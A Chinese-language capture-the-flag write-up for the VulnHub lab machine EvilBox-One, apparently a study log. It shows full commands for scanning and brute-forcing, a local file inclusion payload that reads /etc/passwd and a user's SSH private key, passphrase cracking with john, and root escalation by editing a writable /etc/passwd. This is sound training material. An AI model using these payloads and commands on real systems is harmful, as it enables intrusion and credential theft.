打靶记录6——靶机EvilBox---One
靶机下载地址
https://www.vulnhub.com/entry/evilbox-one,736/
学习记录
- 在进行目录爆破和文件爆破的过程当中,如果有发现新的路径,一定要对新的路径再次进行更深层次的爆破
- 虚拟机出现问题就删除掉,重新导入虚拟机
目标:
- 获取两个flag,以及root权限
涉及的攻击方法:
- 主机发现
- 端口扫描
- 强制访问
- 参数爆破
- 文件包含
- PHP封装器
- 任意文件读取
- SSH公钥登录
- 离线密码爆破
- 系统权限漏洞利用
我可以直接用WSL的kali来操作,浏览器也能打开靶机的IP地址的HTTP服务>_<
主机发现
arp-scan -l
发现靶机的IP192.168.0.101
端口扫描和服务发现
nmap -p- 192.168.0.101 # 全端口扫描
nmap -p22,80 -sV 192.168.0.101 # 也可以用-A 参数,-A参数等于-sV,-sC,-O参数的组合
发现只开放看22和80端口,那么我们访问一下80端口的HTTP服务
就是一个普通的apache页面
我们查看一下robots.txt
,发现一下字符,但是尝试发现它既不是用户名,也不是路径名
路径爆破
- 利用gobuster工具来进行,类似dirsearch,dirb,feroxbuster都差不多
- gobuster是使用go语言来编写的,优点是速度快
- gobuster还可以进行DNS信息的搜集和爆破
- 运行gobuster的时候,我的游戏本电脑风扇直接开转>_<
gobuster dir -u http://192.168.0.101/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
发现了一个/secret
路径,访问发现没有东西存在
那么我们拿这个路径再爆破一次,
- 在进行目录爆破和文件爆破的过程当中,如果有发现新的路径,一定要对新的路径再次进行更深层次的爆破
gobuster dir -u http://192.168.0.101/secret -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
这条命令是用于进行目录扫描(directory brute-forcing)的工具命令。让我来解释一下每个部分的含义:
gobuster
: 这是一个流行的开源工具,用于在Web服务器上进行目录和文件扫描。dir
: 这是gobuster工具的模式之一,表示将扫描目录而不是文件。-u http://192.168.0.101/secret
:-u
参数指定要扫描的目标URL,即要扫描的Web服务器或Web应用程序的基本URL。在这里,它指定了要扫描的URL是http://192.168.0.101/secret
,其中/secret
是目标目录路径。-w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt
:-w
参数指定了字典文件的路径,该文件包含了要尝试的目录和文件名列表。在这里,使用了一个常见的字典文件/usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt
,这个文件通常包含了很多常见的目录和文件名,用于扫描。-x txt,php,html,jsp
:-x
参数指定了要检查的文件扩展名。在这个例子中,它指定了检查txt
,php
,html
,jsp
这几种文件类型是否存在于扫描到的目录中。如果指定了-x
参数,gobuster 将尝试找到带有这些扩展名的文件。
综上所述,这条命令的作用是使用gobuster工具对 http://192.168.0.101/secret
这个URL进行目录扫描,使用指定的字典文件来尝试找到该目标服务器上存在的目录和文件,并检查是否存在指定的文件类型。
发现了/evil.php
,访问之后一样没有东西
接下来对evil.php
进行页面参数的爆破,可以用BurpSuite进行,但是今天我们用全命令行的方式爆破
参数爆破
- 使用
ffuf
工具 - 参数
-fs 0
的意思是过滤掉页面内容为0的,也就是空内容的内容 -w
参数指定字典,-u
参数指定URLFUZZ
意思的模糊测试的关键字,因为只有一个字典
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.0.101/secret//evil.php?FUZZ=../index.html -fs 0
发现command参数存在,那么访问URL[http://192.168.0.101/secret/evil.php?command=../index.html](http://192.168.0.101/secret/evil.php?command=../index.html)
确实可以实现文件包含,
测试远程文件包含不行,只能本地文件包含
那么我们回到根目录下尝试读取/etc/passwd
文件,也成功了[192.168.0.101/secret/evil.php?command=../../../../../../etc/passwd](http://192.168.0.101/secret/evil.php?command=../../../../../../etc/passwd)
接下来用PHP封装器来实现读取evil.php
的源代码
[http://192.168.0.101/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php](http://192.168.0.101/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php)
<?php
$filename = $_GET['command'];
include($filename);
?>
尝试写入一句话Webshell失败,[http://192.168.0.101/secret/evil.php?command=php://filter/convert.base64-dncode/resource=test.php](http://192.168.0.101/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php)&txt=MTIz
那转换一下思路,前面在/etc/passwd
目录发现了一个用户mowree
尝试用这个用户登录SSH
先对目标靶机的SSH登录验证方式来进行简单探测
ssh mowree@192.168.0.103 -v
- -v 参数,显示在登录过程中的详细信息
发现支持公钥登录(publickey)和密码登录
既然支持公钥登录,那么服务器的主目录下应该就会包含相应的公钥文件的内容[http://192.168.0.103/secret/evil.php?command=../../../../../../home/mowree/.ssh/authorized_keys](http://192.168.0.103/secret/evil.php?command=../../../../../../home/mowree/.ssh/authorized_keys)
[/.ssh/authorized_keys](http://192.168.0.103/secret/evil.php?command=../../../../../../home/mowree/.ssh/authorized_keys)
该目录是SSH默认存放已授权的公钥文件的位置
发现是用RSA加密的,是mowree账户的
既然存在公钥文件,还是RSA加密的,那么应该也存在私钥文件[192.168.0.103/secret/evil.php?command=../../../../../../home/mowree/.ssh/id_rsa](http://192.168.0.103/secret/evil.php?command=../../../../../../home/mowree/.ssh/id_rsa)
[/.ssh/id_rsa](http://192.168.0.103/secret/evil.php?command=../../../../../../home/mowree/.ssh/id_rsa)
该位置默认存放RSA加密的私钥文件
- 拥有私钥的任何人都可以使用这个私钥跟目标服务器进行公钥的身份认证,如果能够成功,也就意味着我们不需要账号密码就能证明自己的身份,从而登录到目标服务器上,那就突破了边界。
将私钥内容复制下来,保存到Kali上,变成一个id_rsa
文件,chmod 600 id_rsa
赋予相应的权限
ssh mowree@192.168.0.103 -i id_rsa
使用私钥登录
但是又遇到问题,必须输入key
的密码文
那只能硬上,进行密码的爆破,使用john
工具对id_rsa
进行破解,需要先将id_rsa
转换成john
能爆破的格式
./ssh2john.py /home/kali/Desktop/id_rsa > /home/kali/Desktop/hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
使用rockyou字典,它很大,没解压的可以先解压一下,因为它本来是一个压缩包放在/usr/share/wordlists/
目录下面
爆破出来密码为unicorn
,使用密码文成功登录
获得第一个flag
提权
crontab -l
看一下有没有计划任务,发现没有
sudo -l
看一下sudo的配置缺陷也没有
uname -a
看一下内核版本,searchsploit 4.19
漏洞搜索,但是尝试后也都发现不太成功
接下来尝试进行suid
权限的搜索,看一下这台主机上有哪些文件是开启suid
权限的,同时它的属主又是root
账号,如果有这样的文件,那么尝试利用这个文件把自己提权成root
权限
find / -perm /4000 2>/dev/null
- 4000 代表开启了
suid
权限的文件 - 2>/dev/null 代表把不想看到的信息重定向到
null
文件去,让它消失,因为搜索过程中有些文件是我们没有权限读取的,所以一定会产生一些报错
搜索出来的东西是没有办法利用的,都是默认的,正常的系统文件
那尝试搜索一下具有sgid
权限的文件,也没有收获
接下来查找具有写入权限的文件
find / -writable 2>/dev/null
- /proc 目录不用看,因为它是系统在运行过程中动态生成的目录
发现了/etc/passwd
文件当前账户居然可写
我们vi
一下这个文件
mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash
这是一条标准的用户账号的记录,解释一下这一行的意思:
mowree
第一个冒号前面表示用户名x
表示占位符,这里是放密码的,真正的密码放在另一个文件/etc/shadow
里面了1000
用户ID1000
组IDmowree,,,
用户账号的一些概况信息,用户名、房间号、电话号之类的/home/mowree
账号的主目录/bin/bash
默认登录之后的shell
我们主要关注x
这个位置,我们把x
改成我们想要的密码,一旦我们在这里设置了密码,就意味着/etc/shadow
文件里的那个密码失效了
我们直接改root
账号的密码
首先,需要先给root
账号生成一个密码,在Linux下生成密码的命令有很多,因为Linux系统支持很多的加密算法,你用不同的加密算法都可以生成密文,然后把密文直接存放到/etc/passwd
文件里面,这样就生效了
openssl passwd -1
- -1 参数代表一种加密算法
我们设置一个密码123
然后我们直接vi /etc/passwd
文件,把密码修改
然后直接su root
切换成root
账号,成功!!
最后进入root
目录下,查看最后一个flag,打靶完成!
总结:
- 主机发现/端口扫描—————— 22、80
- 路径爆破/参数爆破—————— /secret/evil.php?command=/etc/passwd
- SSH私钥读取———————— ~/.ssh/id_rsa
- 私钥密码爆破———————— unicorn
- 文件权限—————————— /etc/passwd
名词解释:
SUID
SUID(Set User ID)权限是Unix和类Unix操作系统中的一种特殊权限设置。它允许一个可执行文件在执行时临时获得其所有者的权限,而不是执行者的权限。具体来说,当一个文件具有SUID权限时,无论谁执行该文件,该程序都会以文件所有者的身份来运行,而不是执行者的身份。
要理解SUID权限的作用和使用场景,以下是一些关键点:
- 权限设置:SUID权限可以通过chmod命令进行设置,通常表示为数字形式的权限码中的"4"。例如,如果一个可执行文件的权限设置为4755,则表示它具有SUID权限。
- 使用场景:
- 提权执行程序:有些程序需要在执行时具有更高的权限才能完成特定的任务,例如更改系统设置或访问受限资源。在这种情况下,SUID权限允许这些程序以文件所有者的权限运行,而不是执行者的权限,从而实现所需的操作。
- 系统工具:某些系统工具或服务程序,例如密码更改程序(例如passwd),通常会具有SUID权限。这样可以确保只有授权的用户可以运行这些程序,并且在运行时能够以合适的权限来执行必要的系统操作。
- 安全性考虑:尽管SUID权限提供了方便,但也带来了安全风险。不正确地使用SUID权限可能导致系统安全漏洞,因为恶意用户可能会利用SUID权限来执行未经授权的操作。因此,管理者在分配SUID权限时应格外小心,并确保只有必要的程序和合适的用户可以访问。
总结来说,SUID权限允许一个程序在执行时暂时以文件所有者的权限运行,是Unix系统中实现特定权限控制和操作必要性的一种重要机制。
SGID
SGID(Set Group ID)权限是Unix和类Unix操作系统中的另一种特殊权限设置。与SUID权限类似,SGID权限允许一个可执行文件在执行时临时获得其所属组的权限,而不是执行者的权限。具体来说,当一个文件具有SGID权限时,无论谁执行该文件,该程序都会以文件所属组的身份来运行,而不是执行者的身份。
要理解SGID权限的作用和使用场景,以下是一些关键点:
- 权限设置:SGID权限可以通过chmod命令进行设置,通常表示为数字形式的权限码中的"2"。例如,如果一个可执行文件的权限设置为2755,则表示它具有SGID权限。
- 使用场景:
- 共享文件夹:SGID权限常用于共享文件夹的场景中。当多个用户需要共享一个目录并希望确保所有新创建的文件和子目录都具有相同的组所有权时,可以在该目录上设置SGID权限。这样,任何用户在该目录中创建的文件和子目录都会继承该目录的组所有权,而不是创建者的个人组。
- 执行程序:有些系统程序或工具需要在执行时以特定组的身份运行,以便访问组限制的资源或执行特定的操作。SGID权限可以确保这些程序在运行时具有正确的组权限,而不受执行者个人组的限制。
- 安全性考虑:与SUID权限类似,SGID权限的使用也需要小心谨慎。不正确地设置SGID权限可能导致安全漏洞,因为恶意用户可能会利用它来执行未经授权的操作或访问受限资源。因此,应该仔细考虑哪些程序或目录可以安全地使用SGID权限,并确保仅授权合适的用户和程序。
总结来说,SGID权限允许一个程序在执行时以文件所属组的身份运行,是Unix系统中用于控制文件和程序组权限的重要机制之一。